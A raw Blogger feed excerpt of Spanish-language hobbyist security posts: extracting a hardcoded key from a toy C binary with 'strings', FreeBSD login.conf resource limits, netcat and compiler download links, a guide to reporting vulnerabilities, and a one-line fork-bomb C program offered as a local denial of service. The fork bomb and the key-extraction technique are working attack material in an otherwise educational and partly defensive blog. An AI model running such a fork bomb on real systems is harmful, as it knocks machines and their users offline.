href='http://stack-and-heap.blogspot.com/2009/03/get-codes-and-passwords-unprotected.html' title='Get codes and passwords unprotected program'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-2494413610401675363</id><published>2009-03-10T19:50:00.001-06:00</published><updated>2009-03-10T19:50:15.865-06:00</updated><title type='text'>Conseguir Codigos y contraseñas de programas desprotegidos</title><content type='html'>Este es un ejemplo sencillo de como se puede llegar a vulnerar una aplicación que pida serial o password y que no este protegida.&lt;br&gt;&lt;br&gt;El ejemplo de la aplicación seria el binario que resulte del siguiente código:&lt;br&gt;&lt;br&gt;&lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/easyKey.c" target="_blank" class="posted"&gt;easyKey.c&lt;/a&gt;&lt;br&gt; &lt;div class="codeheader"&gt;&lt;br&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br&gt;  &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;password &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;A9D6B4C3E2F1&amp;quot;&lt;/span&gt;;&lt;br&gt;  &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; argc, &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;**&lt;/span&gt;argv&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt; 	&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;argc &lt;span style="color: rgb(51, 153, 51);"&gt;==&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt; 		&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;strncmp&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;password,argv&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;,strlen&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;password&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;==&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;br&gt; 			&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;ok&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; 		&lt;span style="color: rgb(177, 177, 0);"&gt;else&lt;/span&gt;&lt;br&gt;			&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;no&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; 	&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;	&lt;span style="color: rgb(177, 177, 0);"&gt;else&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;		&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;Use:&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\t&lt;/span&gt;%s &amp;lt;key&amp;gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;,argv&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; 	&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;	&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt; &lt;br&gt; &lt;/pre&gt;&lt;br&gt; Despues de compilarlo y ejecutarlo:&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt; &lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gcc&lt;/span&gt; -o easyKey easyKey.c&lt;br&gt; Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt; .&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;easyKey&lt;br&gt;Use:&lt;br&gt;     .&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;easyKey &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;lt;&lt;/span&gt;key&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;&lt;br&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt; .&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;easyKey xD&lt;br&gt; no&lt;br&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt; .&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;easyKey &lt;span style="color: rgb(0, 0, 0);"&gt;1234&lt;/span&gt;&lt;br&gt; no&lt;br&gt; &lt;/pre&gt;&lt;br&gt;Podremos observar que dicho codigo &amp;quot;key&amp;quot; lo podemos obtener mediante la utilidad strings que viene en la mayoría de los Entornos Unix&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;Anon@localhost % strings easyKey&lt;br&gt;/libexec/ld-elf.so.1&lt;br&gt; FreeBSD&lt;br&gt;_Jv_RegisterClasses&lt;br&gt;libc.so.7&lt;br&gt;printf&lt;br&gt;puts&lt;br&gt;environ&lt;br&gt;__progname&lt;br&gt;strncmp&lt;br&gt;_init_tls&lt;br&gt;atexit&lt;br&gt;strlen&lt;br&gt;_end&lt;br&gt;FBSD_1.0&lt;br&gt;$FreeBSD: src/lib/csu/i386-elf/crti.S,v 1.7 2005/05/19 07:31:06 dfr Exp $&lt;br&gt; A9D6B4C3E2F1&lt;br&gt;Use:&lt;br&gt;    %s &amp;lt;key&amp;gt;&lt;br&gt;$FreeBSD: src/lib/csu/i386-elf/crtn.S,v 1.6 2005/05/19 07:31:06 dfr Exp $&lt;br&gt;Anon@localhost % ./easyKey A9D6B4C3E2F1&lt;br&gt;ok&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;Espero y les sirva algún día.&lt;br&gt; &lt;br&gt;Saludos 				&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-2494413610401675363?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/2494413610401675363/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=2494413610401675363' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2494413610401675363'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2494413610401675363'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/conseguir-codigos-y-contrasenas-de.html' title='Conseguir Codigos y contraseñas de programas desprotegidos'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-1514816048897269516</id><published>2009-03-10T14:06:00.001-06:00</published><updated>2009-03-10T14:06:50.868-06:00</updated><title type='text'>[FreeBSD] "Login Class" Limites y Clases para los Usuarios</title><content type='html'>Bueno para que no se confundan desde ahorita, no me estoy refiriendo a los clásicos grupos del sistema UNIX, ya que generalmente estos solo nos dan restricciones sobre direcctorios y procesos que se nos permiten ejecutar, pero que hay de restringir el uso de la memoria o del CPU, Numero de Processos etc.&lt;br&gt; &lt;br&gt;Dentro de FreeBSD el archivo /etc/login.conf nos permite gracer nuevas clases de usuarios para ajustar estos niveles de restricciones.&lt;br&gt;&lt;br&gt;Por defecto el sistema nos coloca en default:&lt;br&gt;&lt;br&gt;&lt;font size="1"&gt;default:\&lt;br&gt;         :passwd_format=blf:\&lt;br&gt;        :copyright=/etc/COPYRIGHT:\&lt;br&gt;        :welcome=/etc/motd:\&lt;br&gt;        :setenv=MAIL=/var/mail/$,BLOCKSIZE=K,FTP_PASSIVE_MODE=YES:\&lt;br&gt;        :path=/sbin /bin /usr/sbin /usr/bin /usr/games /usr/local/sbin /usr/local/bin /usr/X11R6/bin ~/bin:\&lt;br&gt;         :nologin=/var/run/nologin:\&lt;br&gt;        :cputime=unlimited:\&lt;br&gt;        :datasize=unlimited:\&lt;br&gt;        :stacksize=unlimited:\&lt;br&gt;        :memorylocked=unlimited:\&lt;br&gt;        :memoryuse=unlimited:\&lt;br&gt;        :filesize=unlimited:\&lt;br&gt;         :coredumpsize=unlimited:\&lt;br&gt;        :openfiles=unlimited:\&lt;br&gt;        :maxproc=unlimited:\&lt;br&gt;        :sbsize=unlimited:\&lt;br&gt;        :vmemoryuse=unlimited:\&lt;br&gt;        :priority=0:\&lt;br&gt;        :ignoretime@:\&lt;br&gt;        :umask=022:&lt;br&gt; &lt;/font&gt;&lt;br&gt;Como podremos ver esa clase de usuarios no tiene restriccion sobre los recursos.&lt;br&gt;&lt;br&gt;Por describir un ejemplo real que he usado al momento de configurar el servidor para &amp;quot;Torneo Shell&amp;quot; en el warzone de &lt;a href="http://elhacker.net"&gt;elhacker.net&lt;/a&gt;.&lt;br&gt; &lt;br&gt;Cree un clase de usuario llamada &amp;quot;Warusers&amp;quot; con lo cual limitaba los recursos del servidor el codigo es el siguiente:&lt;br&gt;&lt;br&gt;&lt;font size="1"&gt;warusers:\&lt;br&gt;       :copyright=/etc/COPYRIGHT:\&lt;br&gt;       :welcome=/etc/motd:\&lt;br&gt;        :setenv=MAIL=/var/mail/$,BLOCKSIZE=K:\&lt;br&gt;       :path=~/bin /bin /usr/bin /usr/local/bin:\&lt;br&gt;       :manpath=/usr/share/man /usr/local/man:\&lt;br&gt;       :nologin=/var/run/nologin:\&lt;br&gt;       :cputime=10m:\&lt;br&gt;       :datasize=8M:\&lt;br&gt;        :vmemoryuse=80M:\&lt;br&gt;       :stacksize=2M:\&lt;br&gt;       :memorylocked=4M:\&lt;br&gt;       :memoryuse=8M:\&lt;br&gt;       :filesize=8M:\&lt;br&gt;       :coredumpsize=1M:\&lt;br&gt;       :openfiles=48:\&lt;br&gt;       :maxproc=64:\&lt;br&gt;       :priority=0:\&lt;br&gt;        :umask=077:\&lt;br&gt;       :ignoretime@:&lt;br&gt;&lt;/font&gt;&lt;br clear="all"&gt;Con estas opciones podremos indicar hasta un archivo motd diferente para cada tipo de usuarios que tengamos en nuestro sistema. Limitamos cosas como el tiempo del CPU, la memoria, el Uso del Disco duro, Numero de procesos en ejecucion etc.&lt;br&gt; &lt;br&gt;Anteriormente había colocado el tema de &lt;a href="http://anon-ehn.spaces.live.com/blog/cns%214D0C9DBA4E99E162%21279.entry"&gt;Fun D.o.S. local on a Unix system poorly managed&lt;/a&gt; con el cual generabamos una Denegacion de Serivicio al equipo por el hecho de consumir los procesos, esta es la solucion el campo &lt;font size="1"&gt;maxproc&lt;/font&gt; especificamos el numero de procesos maximo lo cual nos daria cierta cantidad mas de control sobre el sistema otra muy recomendable es el opendiles la cual tambien es muy limitante sobre lo que pueden o no pueden hacer los usarios, el punto donde se especifica el login class a los usuarios es con el comando pw el cual podremos modificar la clase del usuario en cuestion y podre asi tener control sobre los recursos.&lt;br&gt; &lt;br&gt;Espero y les sea de su ayuda.&lt;br&gt;&lt;br&gt;Saludos&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-1514816048897269516?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/1514816048897269516/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=1514816048897269516' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/1514816048897269516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/1514816048897269516'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/freebsd-login-class-limites-y-clases.html' title='[FreeBSD] &quot;Login Class&quot; Limites y Clases para los Usuarios'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-8311003015091100623</id><published>2009-03-10T11:56:00.000-06:00</published><updated>2009-03-10T11:57:00.221-06:00</updated><title type='text'>[Tools] Microsoft Visual C++ Toolkit 2003</title><content type='html'>Bueno programaba en C/C++ bajo windows una de las herramientas propias de microsoft era el Toolkit de Microsoft Visual C++ 2003 hera una herramienta a mi punto de vista buena, el compilador en linea &lt;b&gt;cl&lt;/b&gt; tenia muchas opciones similares a las que tiene el gcc de unix, sin embargo esta herramienta fue sustituida por una mas pesada me refiero al Microsoft Visual Toolkit 2005 creo y la versión anterior dejo de estar disponible, es por ello que la he vuelto a subir para que la puedan descargar si es que la están buscando.&lt;br&gt;  &lt;br&gt;Descargar &lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/tools/VCToolkitSetup.exe"&gt;VCToolkitSetup.exe&lt;/a&gt;&lt;br&gt;&lt;br&gt;MD5 (VCToolkitSetup.exe) = 90d8b963ca196aa9855b2ca6c3174c14&lt;br&gt;SHA1 (VCToolkitSetup.exe) = 50dc6cca1503f08a41d56816f3f1abcaf347b0bd&lt;br clear="all"&gt; &lt;br&gt;Pesa 31 Megabytes el instalador sin embargo una vez instalado pesa mucho mas, instala una versión vieja del Microsoft .NET Framework 1.1&lt;br&gt; &lt;br&gt;Sirve muy buen para compilar pequeñas aplicaciones con un C estandar.&lt;br&gt;&lt;br&gt;Espero y les sea de utilidad.&lt;br&gt;&lt;br&gt;Saludos.&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-8311003015091100623?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/8311003015091100623/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=8311003015091100623' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8311003015091100623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8311003015091100623'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/tools-microsoft-visual-c-toolkit-2003.html' title='[Tools] Microsoft Visual C++ Toolkit 2003'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-1479429207022340671</id><published>2009-03-09T14:15:00.002-06:00</published><updated>2009-03-20T08:54:51.057-06:00</updated><title type='text'>[tools] nc11nt.zip Netcat 1.1 para Windows</title><content type='html'>En repetidas ocasiones he visto que se seguido se pide dicha herramienta y muchas veces no es encontrada fácilmente.&lt;br /&gt;&lt;br /&gt;Archivo: &lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/tools/nc11nt.zip.gpg"&gt;nc11nt.zip.gpg&lt;/a&gt;&lt;br /&gt;Password: TevP6y9OSzSHQD&lt;br /&gt;MD5 (nc11nt.zip.gpg) = 321886e9c17c0065b439490febceb224&lt;br /&gt;SHA1 (nc11nt.zip) = c8812f5cb4e9d51280c25587ff0f58345c1b171f&lt;br /&gt;&lt;br /&gt;Archivo: &lt;a target="_blank" href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/tools/nc11nt.zip"&gt;nc11nt.zip&lt;/a&gt;&lt;br /&gt;MD5 (nc11nt.zip) = ec23eb106197f0616a7b2b5556ad72bd&lt;br /&gt;SHA1 (nc11nt.zip) = c8812f5cb4e9d51280c25587ff0f58345c1b171f&lt;br /&gt;&lt;br /&gt;Archivo: &lt;a target="_blank" href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/tools/nc.exe"&gt;nc.exe&lt;/a&gt;&lt;br /&gt;MD5 (nc.exe) = e0fb946c00b140693e3cf5de258c22a1&lt;br /&gt;SHA1 (nc.exe) = 57f0839433234285cc9df96198a6ca58248a4707&lt;br /&gt;&lt;br /&gt;Muchas veces es borrada por descuido ya que se teme que sea un virus o similar.&lt;br /&gt;&lt;br /&gt;El uso de esta herramienta va de todos tipos desde administrativos, didacticos, es cliente multinacional, sirve en la mayoría de los protocolos de TCP/IP&lt;br /&gt;&lt;br /&gt;Espero y les sirva.&lt;br /&gt;&lt;br /&gt;Saludos&lt;br /&gt;&lt;br /&gt;--&lt;br /&gt;- Anon&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-1479429207022340671?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/1479429207022340671/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=1479429207022340671' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/1479429207022340671'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/1479429207022340671'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/tools-nc11ntzip-netcat-11-para-windows.html' title='[tools] nc11nt.zip Netcat 1.1 para Windows'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-8858956284396568759</id><published>2009-03-09T11:43:00.001-06:00</published><updated>2009-03-09T11:43:12.487-06:00</updated><title type='text'>Fun D.o.S. local on a Unix system poorly managed</title><content type='html'>&lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/DoS%7C_Local%7C_fork.c" target="_blank" class="posted"&gt;DoS_Local_fork.c&lt;/a&gt;&lt;br&gt;&lt;br&gt;El siguiente código en C genera múltiples procesos, esto causa una Denegación de Servicio en un sistema mal administrado.&lt;br&gt; &lt;br&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt; 	&lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;br&gt;		fork&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br&gt;existen distintas maneras de protegerse de este código o &amp;quot;vulnerabilidad&amp;quot;, todo depende del sistema que estés usando.&lt;br&gt;&lt;br&gt;Agregare la de FreeBSD después.&lt;br&gt; &lt;br&gt;Saludos. 				&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-8858956284396568759?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/8858956284396568759/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=8858956284396568759' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8858956284396568759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8858956284396568759'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/fun-dos-local-on-unix-system-poorly.html' title='Fun D.o.S. local on a Unix system poorly managed'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-4259527936689782555</id><published>2009-03-08T22:43:00.001-06:00</published><updated>2009-03-08T22:43:09.591-06:00</updated><title type='text'>Como reportar vulnerabilidades</title><content type='html'>Ya sea que encontremos un bug/error de pura casualidad o investigación y logremos detallar los pasos de como lo descubrimos y/o realizamos en ese momento podremos dar reporte a la falla.&lt;br&gt;&lt;br&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;El primer paso es delimitar el alcance de la falla.&lt;/li&gt;&lt;/ul&gt;Verificamos si es la ultima versión del software ya que si no es así o si existen actualizaciones que no tengamos puede que demos con una falla vieja, esta puede o no puede estar reportada.&lt;br&gt;&lt;br&gt;Dependiendo de esto ultimo procederemos o no y trataremos de ver si versiones anteriores son vulnerables también.&lt;br&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;Medir el impacto de la falla&lt;/li&gt; &lt;/ul&gt;Aqui determinamos el impacto de la falla sobre el sistema que la hospeda, entre los mas comunes tenemos:&lt;br&gt;&lt;br&gt;&lt;b&gt;Denegación de Servicio&lt;/b&gt;&lt;br&gt;Es el mas común, generalmente no pasaremos de hacer que la aplicación deje de funcionar&lt;br&gt; &lt;br&gt;&lt;b&gt;Consumo de recursos&lt;/b&gt;&lt;br&gt;Si no deja de funcionar, podremos causar algún consumo adicional de memoria y/o microprocesador&lt;br&gt;&lt;br&gt;&lt;b&gt;Ejecución de Código&lt;/b&gt;&lt;br&gt;Es lo que se busca en la mayoría de las veces, si logramos insertar código y ejecutarlo el sistema podría estar totalmente comprometido&lt;br&gt;&lt;br&gt;&lt;b&gt;Revelado de información&lt;/b&gt;&lt;br&gt;En dado caso podríamos revelar información que se supone que no deberíamos de poder ver.&lt;br&gt;&lt;br&gt;&lt;b&gt;Algun Error menor&lt;/b&gt;&lt;br&gt; Se podría dar la situación en la simplemente sobrescribamos alguna variable menor. Solo por mencionar algún ejemplo.&lt;br&gt;&lt;br&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;Encontrar el medio de comunicación con el creador del software (vendor)&lt;/li&gt; &lt;/ul&gt;Esto es mas importarte. La mayoría de los software que son públicos tienen un correo/pagina de contacto. Es importante comunicarte con el vendor y darle detalles de la falla que encontraste los pasos que seguiste, y si puedes da sugerencias para mejorar el software.&lt;br&gt;&lt;br&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;Arreglado/Corregido&lt;/li&gt;&lt;/ul&gt;Después de Intercambiar algunos correos y ver que el bug sea arreglado y este disponible un parche o nueva versión ahora si es posible publicar el bug en un blog/web propios y posteriormente publicarlo en alguna pagina como securityfocus, milw0rm entre otras.&lt;br&gt;&lt;br&gt;Cabe mencionar que muchas veces el bug no sera parcheado o puede tardar mucho.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;hr&gt;&lt;br&gt;&lt;b&gt;Formato sugerido para el reporte de bug&lt;/b&gt;&lt;br&gt;&lt;br&gt;Generalmente estos se reportan en texto plano.&lt;br&gt; La mayoría de lista de correo esperan no mas de 80 caracteres por fila.&lt;br&gt;Organización y Secciones recomendadas&lt;br&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;Limitación&lt;/li&gt;&lt;li&gt;Descripción del Software&lt;/li&gt;&lt;li&gt; Descripción del Problema&lt;/li&gt;&lt;li&gt;Impacto&lt;/li&gt;&lt;li&gt;Solución&lt;/li&gt;&lt;li&gt;Referencias&lt;/li&gt;&lt;li&gt;Créditos&lt;/li&gt;&lt;/ul&gt;&lt;br&gt;La organización de dichas secciones 